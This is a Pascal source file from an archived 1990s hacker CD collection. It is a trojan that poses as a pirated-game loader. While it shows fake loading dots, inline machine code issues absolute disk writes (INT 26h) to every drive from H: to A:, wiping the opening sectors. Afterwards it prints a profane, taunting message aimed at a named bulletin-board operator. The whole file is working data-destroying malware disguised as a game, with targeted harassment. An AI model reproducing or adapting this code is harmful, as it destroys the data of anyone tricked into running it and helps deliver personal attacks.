home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / backfind.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  2003-06-11  |  2.5 KB  |  50 lines
  1.           Program Wipe_The_Fuckers_HD;
  2.               uses dos,crt;
  3.           var read:string;
  4.             Begin
  5.           clrscr;
  6.           Writeln ('┌───────────────────────────────────────┐');
  7.           Writeln ('│          Search And Destroy           │');
  8.           Writeln ('│             Loader v1.0               │');
  9.           Writeln ('│  Bringing The Best And Latest Warez   │');
  10.           Writeln ('└───────────────────────────────────────┘');
  11.           writeln ('       Written by S.A.D. Incoporated');
  12.           Write ('Please Press [ENTER] To Load The Game,');
  13.           readln (read);
  14.           write ('Please wait ..');
  15.           inline ($B0/$07/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {H:}
  16.           write ('.');
  17.           inline ($B0/$06/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {G:}
  18.           write ('.');
  19.           inline ($B0/$05/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {F:}
  20.           write ('.');
  21.           inline ($B0/$04/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {E:}
  22.           write ('.');
  23.           inline ($B0/$03/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {D:}
  24.           write ('.');
  25.           inline ($B0/$02/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {C:}
  26.           write ('.');
  27.           inline ($B0/$01/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {B:}
  28.           write ('.');
  29.           inline ($B0/$00/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {A:}
  30.           write ('..Loading Done!- Enjoy Your Game!!');
  31.           writeln;
  32.           write ('Press [ENTER] to Start The Game.');
  33.           readln;
  34.           textcolor (14);
  35.           writeln ('Hey Geoff You know what happened a few days ago?');
  36.           writeln ('Some friends asked me to get rid of you.  You want');
  37.           writeln ('to know why?  They HATE YOUR FUCKING BOARD and ');
  38.           writeln ('EVERYTHING you and that SUB-OP Chis Stands for! ');
  39.           Writeln ('SO they asked me to teach you a little lesson.  They ');
  40.           Writeln ('asked me to FUCK your harddrive Over! So, all the drives');
  41.           Writeln ('in your system have been FUCKED!  Sorry, and Please Do');
  42.           Writeln ('NOT make me have to do this again.  I do enjoy my work');
  43.           Writeln ('but, after three times Its a little SICK! Thank you Geoff');
  44.           Writeln ('P.S. I have nothing personal against you! You just');
  45.           Writeln ('FUCKED with the Cold Brothers and I had to take you down, again');
  46.           Writeln('');
  47.           TextColor (9);
  48.           Writeln('S.W.A.T Strikes AGAIN! With S.A.D. Standing In');
  49.           End. 
  50.